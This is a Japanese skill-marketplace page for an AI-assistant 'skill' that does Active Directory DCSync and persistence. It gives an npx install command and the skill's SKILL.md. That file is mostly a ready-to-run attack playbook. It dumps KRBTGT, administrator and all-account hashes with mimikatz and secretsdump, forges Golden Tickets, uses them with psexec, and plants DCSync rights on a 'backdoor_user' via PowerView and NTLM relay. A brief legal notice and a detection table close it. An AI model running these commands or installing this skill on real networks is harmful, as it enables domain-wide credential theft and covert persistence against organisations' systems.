メニュー
Perform DCSync attacks to replicate Active Directory credentials and establish domain persistence by extracting KRBTGT, Domain Admin, and service account hashes for Golden Ticket creation.
デフォルトでは、最初にソースを確認する Prompt が選択されています。直接コマンドに切り替えるか、ローカルコピーをダウンロードすることもできます。
インストールを決める前に、SKILL.md と SkillsMP に表示されている付属ファイルをお読みください。
Codex または Claude でインストール この Prompt をコピーして Codex、Claude、または他のアシスタントに貼り付けると、Skill ページを確認してインストールできます。
直接コマンドでは確認用 Prompt が省略されます。実行前にソースを確認してください。
npx skills add https://github.com/Undermybelt/hermes-skills --skill domain-prsstn-dcsyncコマンドは1行のまま表示されます。コピー前に横へスクロールして全体を確認してください。
ローカルで確認しますか？SkillsMP が現在取得できるファイルをダウンロードできます。
SOC 職業分類に基づく
SKILL.md を表示中
| name | domain-prsstn-dcsync |
| description | Perform DCSync attacks to replicate Active Directory credentials and establish domain persistence by extracting KRBTGT, Domain Admin, and service account hashes for Golden Ticket creation. |
| domain | cybersecurity |
| subdomain | red-teaming |
| tags | ["red-team","active-directory","dcsync","persistence","credential-dumping","golden-ticket","mimikatz"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
| d3fend_techniques |
| ["Application Protocol Command Analysis","Network Isolation","Network Traffic Analysis","Client-server Payload Profiling","Platform Monitoring"] |
| nist_csf | ["ID.RA-01","GV.OV-02","DE.AE-07"] |
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
DCSync is an attack technique that abuses the Microsoft Directory Replication Service Remote Protocol (MS-DRSR) to impersonate a Domain Controller and request password data from the target DC. The attack was introduced by Benjamin Delpy (Mimikatz author) and Vincent Le Toux, leveraging the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All extended rights. Any principal (user or computer) with these rights can replicate password hashes for any account in the domain, including the KRBTGT account. With the KRBTGT hash, attackers can forge Golden Tickets for indefinite domain persistence. DCSync is categorized as MITRE ATT&CK T1003.006 and is a critical post-exploitation technique used by APT groups including APT28 (Fancy Bear), APT29 (Cozy Bear), and FIN6.
# Using PowerView
Get-DomainObjectAcl -SearchBase "DC=domain,DC=local" -ResolveGUIDs |
Where-Object { ($_.ObjectAceType -match 'Replicating') -and
($_.ActiveDirectoryRights -match 'ExtendedRight') } |
Select-Object SecurityIdentifier, ObjectAceType
# Using BloodHound Cypher query
MATCH (u)-[:DCSync|GetChanges|GetChangesAll*1..]->(d:Domain)
RETURN u.name, d.name
# Check with Impacket
findDelegation.py domain.local/user:'Password123' -dc-ip 10.10.10.1
# Dump specific account (KRBTGT for Golden Ticket)
mimikatz.exe "lsadump::dcsync /domain:domain.local /user:krbtgt"
# Dump Domain Admin
mimikatz.exe "lsadump::dcsync /domain:domain.local /user:administrator"
# Dump all domain accounts
mimikatz.exe "lsadump::dcsync /domain:domain.local /all /csv"
# Dump all credentials
secretsdump.py domain.local/admin:'Password123'@10.10.10.1
# Dump specific user
secretsdump.py -just-dc-user krbtgt domain.local/admin:'Password123'@10.10.10.1
# Dump only NTLM hashes (no Kerberos keys)
secretsdump.py -just-dc-ntlm domain.local/admin:'Password123'@10.10.10.1
# Using Kerberos authentication
export KRB5CCNAME=admin.ccache
secretsdump.py -k -no-pass domain.local/admin@DC01.domain.local
# Create Golden Ticket
mimikatz.exe "kerberos::golden /user:administrator /domain:domain.local \
/sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX \
/krbtgt:<krbtgt_ntlm_hash> /ptt"
# Create with specific group memberships
mimikatz.exe "kerberos::golden /user:fakeadmin /domain:domain.local \
/sid:S-1-5-21-XXXXXXXXXX \
/krbtgt:<krbtgt_ntlm_hash> \
/groups:512,513,518,519,520 /ptt"
# Create Golden Ticket
ticketer.py -nthash <krbtgt_ntlm_hash> -domain-sid S-1-5-21-XXXXXXXXXX \
-domain domain.local administrator
# Use the ticket
export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass domain.local/administrator@DC01.domain.local
# Using PowerView - Add DS-Replication-Get-Changes-All rights
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" \
-PrincipalIdentity backdoor_user -Rights DCSync
# Verify rights were added
Get-DomainObjectAcl -SearchBase "DC=domain,DC=local" -ResolveGUIDs |
Where-Object { $_.SecurityIdentifier -match "backdoor_user_SID" }
# Relay authentication to add DCSync rights
ntlmrelayx.py -t ldap://DC01.domain.local --escalate-user backdoor_user
| Tool | Purpose | Platform |
|---|---|---|
| Mimikatz | DCSync extraction, Golden Ticket creation | Windows |
| secretsdump.py | Remote DCSync (Impacket) | Linux (Python) |
| ticketer.py | Golden Ticket creation (Impacket) | Linux (Python) |
| PowerView | ACL enumeration and modification | Windows (PowerShell) |
| Rubeus | Kerberos ticket manipulation | Windows (.NET) |
| ntlmrelayx.py | DCSync rights escalation via relay | Linux (Python) |
| Account | Purpose | Persistence Value |
|---|---|---|
| krbtgt | Golden Ticket creation | Indefinite domain access |
| Administrator | Direct DA access | Immediate privileged access |
| Service accounts | Lateral movement | Service access across domain |
| Computer accounts | Silver Ticket creation | Service-level impersonation |
| Indicator | Detection Method |
|---|---|
| DrsGetNCChanges RPC calls from non-DC sources | Network monitoring for DRSUAPI traffic from unusual IPs |
| Event 4662 with Replicating Directory Changes GUIDs | Windows Security Log on DC (1131f6aa-/1131f6ad- GUIDs) |
| Event 4624 with Golden Ticket anomalies | Logon events with impossible SIDs or non-existent users |
| ACL modifications on domain root object | Event 5136 (directory service changes) |
| Replication traffic volume spike | Network baseline deviation monitoring |